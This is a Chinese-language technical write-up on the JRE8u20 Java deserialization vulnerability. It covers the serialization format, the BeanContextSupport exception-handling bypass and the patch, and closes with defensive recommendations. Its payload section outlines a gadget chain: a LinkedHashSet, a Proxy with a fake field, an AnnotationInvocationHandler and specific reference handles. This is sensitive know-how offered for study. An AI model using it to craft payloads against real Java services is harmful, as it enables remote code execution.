JRE8u20反序列化漏洞深入分析与利用
0x00 漏洞概述
JRE8u20反序列化漏洞是在JDK7u21漏洞基础上改进而来,它绕过了Java SE对AnnotationInvocationHandler类的修复,允许攻击者通过精心构造的序列化数据实现任意代码执行。该漏洞利用了Java序列化机制中的多个特性,结合异常处理流程,最终实现了安全限制的绕过。
0x01 Java序列化机制深入解析
基本序列化格式
Java序列化后的字节流遵循特定格式,主要包含以下关键部分:
- STREAM_MAGIC (0xACED) - 序列化流魔数
- STREAM_VERSION (0x0005) - 序列化协议版本
- 实际数据内容
关键序列化结构
TC_STRING结构
表示字符串数据,格式如下:
TC_STRING newHandle length(2字节) value
示例:
TC_STRING 00 08 70 61 73 73 77 6f 72 64
TC_OBJECT结构
表示一个对象,格式:
TC_OBJECT classDesc newHandle classdata[]
其中classDesc是TC_CLASSDESC结构,描述类的元信息。
TC_CLASSDESC结构
描述类的结构信息:
TC_CLASSDESC className serialVersionUID newHandle classDescInfo
或
TC_PROXYCLASSDESC newHandle proxyClassDescInfo
classDescInfo包含:
- classDescFlags (1字节)
- fields (字段描述)
- classAnnotation
- superClassDesc
fields结构
描述类的成员字段:
(short)<count> fieldDesc[count]
fieldDesc分为:
- primitiveDesc (基本类型)
- objectDesc (对象类型)
基本类型编码:
- B - byte
- C - char
- D - double
- F - float
- I - int
- J - long
- L - 对象
- S - short
- Z - boolean
- [ - 数组
TC_REFERENCE结构
引用之前出现过的对象:
TC_REFERENCE Handle
序列化示例分析
以AuthClass为例:
class AuthClass implements Serializable {
private static final long serialVersionUID = 100L;
private String password;
private void readObject(ObjectInputStream ois) throws Exception {
ois.defaultReadObject();
if(!this.password.equals("root")) {
throw new Exception("Wrong Password.");
}
}
}
序列化后的关键部分:
TC_OBJECT
TC_CLASSDESC
className: "me.lightless.deserialize.vuln.AuthClass"
serialVersionUID: 0x0000000000000064
classDescFlags: 0x02 (SC_SERIALIZABLE)
fields:
- Object: L
fieldName: "password"
className1: "Ljava/lang/String;"
classAnnotations: TC_ENDBLOCKDATA (0x78)
superClassDesc: TC_NULL (0x70)
classdata:
password: TC_STRING "123456"
TC_BLOCKDATA结构
当类重写writeObject方法并写入额外数据时,会生成TC_BLOCKDATA结构。例如LinkedHashSet的序列化会包含HashMap的capacity、loadFactor和size等额外信息。
0x02 JDK7u21漏洞回顾
JDK7u21漏洞利用AnnotationInvocationHandler的反序列化问题,但后续版本增加了类型检查:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
// 新增的类型检查
if (!type.isAnnotation()) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
// ...
}
虽然检查在defaultReadObject()之后,但异常会中断反序列化流程,使得恶意对象虽然被反序列化但无法触发。
0x03 JRE8u20漏洞利用原理
关键发现
漏洞作者发现java.beans.beancontext.BeanContextSupport类在反序列化时有特殊的异常处理:
private synchronized void readObject(ObjectInputStream ois)
throws IOException, ClassNotFoundException {
synchronized (BeanContext.globalHierarchyLock) {
ois.defaultReadObject();
initialize();
bcsPreDeserializationHook(ois);
if (serializable > 0 && this.equals(getBeanContextPeer()))
readChildren(ois);
deserialize(ois, bcmListeners = new ArrayList(1));
}
}
public final void readChildren(ObjectInputStream ois)
throws IOException, ClassNotFoundException {
int count = serializable;
while (count-- > 0) {
Object child = null;
BeanContextSupport.BCSChild bscc = null;
try {
child = ois.readObject();
bscc = (BeanContextSupport.BCSChild)ois.readObject();
} catch (IOException ioe) {
continue;
} catch (ClassNotFoundException cnfe) {
continue;
}
// ...
}
}
关键点:
- 即使readObject抛出异常,流程仍会继续
- 可以通过构造特殊序列化数据让恶意对象被反序列化
利用技术
-
假成员技术:在Proxy对象中插入一个不存在的dummy成员
- 反序列化时会尝试处理这个成员但最终会丢弃
- 但会为这个假成员分配handle
- 这使得我们可以控制关键对象的引用关系
-
异常捕获绕过:利用BeanContextSupport的异常捕获机制
- 让AnnotationInvocationHandler在异常捕获流程中被反序列化
- 即使检查失败也不会中断整个流程
-
精确偏移计算:精心计算TC_REFERENCE的handle值
- 需要准确引用之前序列化的关键对象
- 包括BeanContextSupport和AnnotationInvocationHandler
0x04 完整Payload构造
步骤1:构造LinkedHashSet基础结构
TC_OBJECT
TC_CLASSDESC
"java.util.LinkedHashSet"
serialVersionUID: 2851667679971038690L
flags: SC_SERIALIZABLE (0x02)
fields: 0
TC_ENDBLOCKDATA
TC_CLASSDESC (父类HashSet)
"java.util.HashSet"
serialVersionUID: 5024744406713321676L
flags: SC_SERIALIZABLE | SC_WRITE_METHOD (0x03)
fields: 0
TC_ENDBLOCKDATA
TC_NULL
classdata:
TC_BLOCKDATA (HashMap额外数据)
element1 (恶意Templates对象)
element2 (Proxy对象)
步骤2:构造Proxy对象
TC_OBJECT
TC_PROXYCLASSDESC
1 (接口数量)
"com.sun.org.apache.xalan.internal.xsltc.runtime.Templates"
TC_ENDBLOCKDATA
TC_CLASSDESC (父类Proxy)
"java.lang.reflect.Proxy"
serialVersionUID: -2222568056686623797L
flags: SC_SERIALIZABLE (0x02)
fields:
- L "dummy" "Ljava/lang/Object;" (假成员)
- L "h" "Ljava/lang/reflect/InvocationHandler;"
TC_ENDBLOCKDATA
TC_NULL
classdata:
TC_OBJECT (dummy成员 - BeanContextSupport)
TC_CLASSDESC
"java.beans.beancontext.BeanContextSupport"
serialVersionUID: -4879613978649577204L
flags: SC_SERIALIZABLE | SC_WRITE_METHOD
fields:
- I "serializable"
TC_ENDBLOCKDATA
TC_CLASSDESC (父类)
"java.beans.beancontext.BeanContextChildSupport"
serialVersionUID: 6328947014421475877L
fields:
- L "beanContextChildPeer" "Ljava/beans/beancontext/BeanContextChild;"
TC_ENDBLOCKDATA
TC_NULL
classdata:
serializable: 1
beanContextChildPeer: TC_REFERENCE <handle_to_BeanContextSupport>
TC_BLOCKDATA (deserialize数据)
0x00000000
h: TC_REFERENCE <handle_to_AnnotationInvocationHandler>
步骤3:构造AnnotationInvocationHandler
TC_OBJECT
TC_CLASSDESC
"sun.reflect.annotation.AnnotationInvocationHandler"
serialVersionUID: 6182022883658399397L
flags: SC_SERIALIZABLE | SC_WRITE_METHOD
fields:
- L "type" "Ljava/lang/Class;"
- L "memberValues" "Ljava/util/Map;"
TC_ENDBLOCKDATA
TC_NULL
classdata:
type: Templates.class
memberValues: Map (包含恶意Templates对象)
关键偏移量计算
-
BeanContextChildPeer引用:
- 需要引用前面的BeanContextSupport对象
- 根据序列化流中对象出现的顺序计算精确handle值
-
Proxy.h引用:
- 需要引用AnnotationInvocationHandler对象
- 同样需要精确计算其在序列化流中的位置
典型偏移值:
- BeanContextSupport引用:0x007e0019
- AnnotationInvocationHandler引用:0x007e001d
0x05 漏洞修复
在JRE8u20之后的版本中,修复方式为:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
// 直接读取字段而非整个对象
Class var3 = (Class)var2.get("type", (Object)null);
// 严格类型检查
if (!var3.isAnnotation()) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
// ...
}
修复关键点:
- 使用readFields()而非defaultReadObject()
- 在读取字段时就进行类型检查
- 避免整个对象被反序列化后再检查
0x06 防御建议
- 输入验证:对反序列化的数据来源进行严格校验
- 白名单机制:只允许反序列化可信的类
- 替换方案:考虑使用JSON等更安全的序列化格式
- 及时更新:确保使用最新版本的Java运行时环境
- 安全配置:使用ObjectInputFilter限制可反序列化的类
0x07 总结
JRE8u20反序列化漏洞展示了Java序列化机制的深层次安全问题,通过精心构造的序列化数据、假成员技术和异常处理流程绕过,实现了安全限制的突破。理解该漏洞需要对Java序列化协议有深入认识,并掌握精确的字节流构造技术。防御此类漏洞需要从输入验证、安全配置和运行时保护等多方面入手。